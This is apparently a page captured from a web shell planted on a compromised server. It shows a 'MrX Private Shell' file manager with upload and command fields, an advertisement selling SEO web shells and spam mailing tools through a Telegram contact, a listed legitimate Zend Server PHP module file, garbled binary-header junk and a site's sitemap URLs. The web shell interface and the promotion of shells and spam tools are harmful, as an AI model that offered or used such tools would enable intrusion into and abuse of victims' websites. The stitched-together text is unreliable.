xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration;

use Configuration\Controller\Plugin\ChangePhpVersion;
use Zend\ModuleManager\Feature\ServiceProviderInterface;
use Zend\ModuleManager\Feature\AutoloaderProviderInterface as AutoloaderProvider;
use Configuration\License\ChangeListener;
use Configuration\License\LicenseChangeAnalyzer;
use Zend\EventManager\EventManager;
use Application\Db\TableGateway;
use Application\Db\AbstractFactoryConnector;
use Application\Db\Connector;
use Configuration\License\ZemUtilsWrapper;
use Configuration\Audit\ExtraData\DirectivesParser;
use Configuration\Task\ConfigurationPackage;
use Zsd\Db\TasksMapper;
use Application\Db\DirectivesFileConnector;
use ZendServer\Log\Log;
use Zend\Json\Json;

class Module implements AutoloaderProvider, ServiceProviderInterface
{
    public function getControllerPluginConfig()
    {
        return array(
            'factories' => array(
                'changePhpVersion' => function($sm) {
                    return new ChangePhpVersion($sm->get(PhpVersion::class));
                }
            )
        );
    }

    /*
     * (non-PHPdoc)
     * @see \Zend\ModuleManager\Feature\ServiceProviderInterface::getServiceConfig()
     */
    public function getServiceConfig()
    {
        return array(
            'invokables' => array(
                'Configuration\License\Wrapper' => 'Configuration\License\Wrapper',
                'Configuration\Task\ConfigurationPackage' => 'Configuration\Task\ConfigurationPackage',
            ),
            'factories' => array(
                'Configuration\Task\ConfigurationPackageFreshDb' => function($sm) {
                    $package = $sm->get('Configuration\Task\ConfigurationPackage');

                    $connector = new DirectivesFileConnector();
                    $adapter   = $connector->createDbAdapter(Connector::DB_CONTEXT_ZSD);

                    $gateway = new TableGateway('ZSD_TASKS', $adapter);

                    $tasksMapper = $package->getTasksMapper();
                    $tasksMapper->setTableGateway($gateway);

                    $package->setTasksMapper($tasksMapper);
                    return $package;
                },
                'Configuration\Audit\ExtraData\DirectivesParser' => function($sm) {
                    $parser = new DirectivesParser();
                    $parser->setDirectivesMapper($sm->get('Configuration\MapperDirectives'));
                    return $parser;
                },
                'Configuration\License\ZemUtilsWrapper' => function($sm) {
                    $wrapper = new ZemUtilsWrapper();

                    $directives        = $sm->get('Configuration\MapperDirectives');
                    $licenseDirectives = $directives->getDirectivesValues(array('zend.serial_number', 'zend.user_name'));

                    if (isset($licenseDirectives['zend.serial_number'])) {
                        $wrapper->setLicenseSerial($licenseDirectives['zend.serial_number']);
                    }

                    if (isset($licenseDirectives['zend.user_name'])) {
                        $wrapper->setLicenseUser($licenseDirectives['zend.user_name']);
                    }
                    return $wrapper;
                },
                'Configuration\License\ChangeListener' => function($sm) {
                    $listener = new ChangeListener();
                    $listener->setAcl($sm->get('ZendServerLicenseAcl'));
                    $listener->setUsersMapper($sm->get('Users\Db\Mapper'));
                    $listener->setGuiConfigurationMapper($sm->get('GuiConfiguration\Mapper\Configuration'));
                    $listener->setlicenseChangeAnalyzer($sm->get('Configuration\License\LicenseChangeAnalyzer'));
                    $listener->setAuditSettingsMapper($sm->get('Audit\Db\SettingsMapper'));
                    return $listener;
                },
                'Configuration\License\LicenseChangeAnalyzer' => function($sm) {
                    $analyzer = new LicenseChangeAnalyzer();
                    $analyzer->setZendServerUtils($sm->get('Configuration\License\Wrapper'));
                    return $analyzer;
                },
                'Configuration\MapperExtensions' => function($sm) {
                    $mapper = new MapperExtensions();

                    // multi PHP versions
                    $mapper->setMultiPhp();

                    foreach($mapper->TABLE_MAPPER as $tableName){
                        $mapper->addTableGateway($tableName,new TableGateway($tableName, $sm->get(Connector::DB_CONTEXT_ZSD)));
                    }
                    $mapper->setPhpVersion($sm->get(PhpVersion::class)->getCurrentVersion());
                    $mapper->initExtensions();
                    return $mapper;
                },
                PhpVersion::class => function($sm) {
                    $mapper = new PhpVersion(new TableGateway(PhpVersion::TABLE_NAME,
                        $sm->get(Connector::DB_CONTEXT_ZSD)));
                    $mapper->setTasksMapper($sm->get('Zsd\Db\TasksMapper'));
                    $mapper->init();
                    return $mapper;
                },
                'Configuration\MapperReplies' => function($sm) {
                    $mapper = new MapperReplies(new TableGateway('ZSD_REPLIES', $sm->get(Connector::DB_CONTEXT_ZSD)));
                    $mapper->setTasksMapper($sm->get('Zsd\Db\TasksMapper'));
                    return $mapper;
                },
                'Configuration\MapperDirectives' => function($sm) {
                    if (isAzureEnv()) {
                        $mapper = new MapperDirectivesAzure();
                    } elseif (isZrayStandaloneEnv()) {
                        $mapper = new MapperDirectivesStandalone();
                    } else {
                        /**
                         * @var \Configuration\MapperDirectives
                         */
                        $mapper = new MapperDirectives();
                        $mapper->setMultiPhp();
                    }

                    $mapper->setEventManager($sm->get('EventManager'));
                    foreach($mapper->TABLE_TYPE_MAPPER as $tableName){
                        $mapper->addTableGateway($tableName,new TableGateway($tableName, $sm->get(Connector::DB_CONTEXT_ZSD)));
                    }
                   // $mapper->setTableGateway(new TableGateway('ZSD_DIRECTIVES', $sm->get(Connector::DB_CONTEXT_ZSD)));
                    $mapper->setTasksMapper($sm->get('Zsd\Db\TasksMapper'));
                    $mapper->setDdMapper($sm->get('Configuration\DdMapper'));
                    $mapper->setPhpVersion($sm->get(PhpVersion::class)->getCurrentVersion());
                    $mapper->setAllPhpVersions($sm->get(PhpVersion::class)->getOptions());

                    /// avoid circular dependency
                    $profile        = $sm->get('Snapshots\Mapper\Profile');
                    $profile->setDirectivesMapper($mapper);
                    $changeListener = $sm->get('Configuration\License\ChangeListener');
                    $changeListener->setProfileMapper($profile);
                    $mapper->getEventManager()->attach('setDirectives', array($changeListener, 'licenseChanged'));
                    $mapper->initDirectives();
                    return $mapper;
                },
                'Configuration\DbImport' => function($sm) {
                    $mapper = new DbImport();
                    $mapper->setAdapter($sm->get(Connector::DB_CONTEXT_ZSD));
                    $mapper->setTasksMapper($sm->get('Zsd\Db\TasksMapper'));
                    $mapper->setDdMapper($sm->get('Configuration\DdMapper'));
                    $mapper->setExtensionMapper($sm->get('Configuration\MapperExtensions'));
                    return $mapper;
                },
                'Configuration\DdMapper' => function($sm) {
                    if (!isAzureEnv()) {
                        if (isZrayStandaloneEnv()) {
                            $zeMapFile = getCfgVar('zend.conf_dir').DIRECTORY_SEPARATOR.'zend_extensions_map.json';
                        }
                        else {
						    $zeMapFile = getCfgVar('zend.install_dir').DIRECTORY_SEPARATOR.'share'.DIRECTORY_SEPARATOR.'zend_extensions_map.json';
                            if (!file_exists($zeMapFile)) {
                                $zeMapFile = getCfgVar('zend.install_dir').DIRECTORY_SEPARATOR.'php'.DIRECTORY_SEPARATOR
                                    .$sm->get(PhpVersion::class)->getCurrentVersion()
                                    .DIRECTORY_SEPARATOR.'share'.DIRECTORY_SEPARATOR.'zend_extensions_map.json';
                            }
                        }

                        if (file_exists($zeMapFile)) {
                            $content = file_get_contents($zeMapFile, Json::TYPE_OBJECT);
                        } else {
                            $content = '[]';
                        }
                    } else {
                        $content = '[]';
                    }

                    return new DdMapper($content);
                },
                'Configuration\GuiDbModel' => function($sm) {
                    $guiDbModel = new \Configuration\GuiDbModel();

                    // set the adapter
                    $guiAdapter = $sm->get(\Application\Db\Connector::DB_CONTEXT_GUI);
                    $guiDbModel->setAdapter($guiAdapter);

                    return $guiDbModel;
                }
            )
        );
    }
    /*
     * (non-PHPdoc)
     * @see \Zend\ModuleManager\Feature\AutoloaderProviderInterface::getAutoloaderConfig()
     */

    public function getAutoloaderConfig()
    {
        return array(
            'Zend\Loader\StandardAutoloader' => array(
                'namespaces' => array(
                    __NAMESPACE__ => __DIR__.'/src/'.__NAMESPACE__,
                ),
            ),
        );
    }

    public function getConfig()
    {
        return include __DIR__.'/config/module.config.php';
    }
}

Filemanager

Name Type Size Permission Actions
config Folder 0755
public Folder 0755
src Folder 0755
tests Folder 0755
views Folder 0755
Module.php File 9.84 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml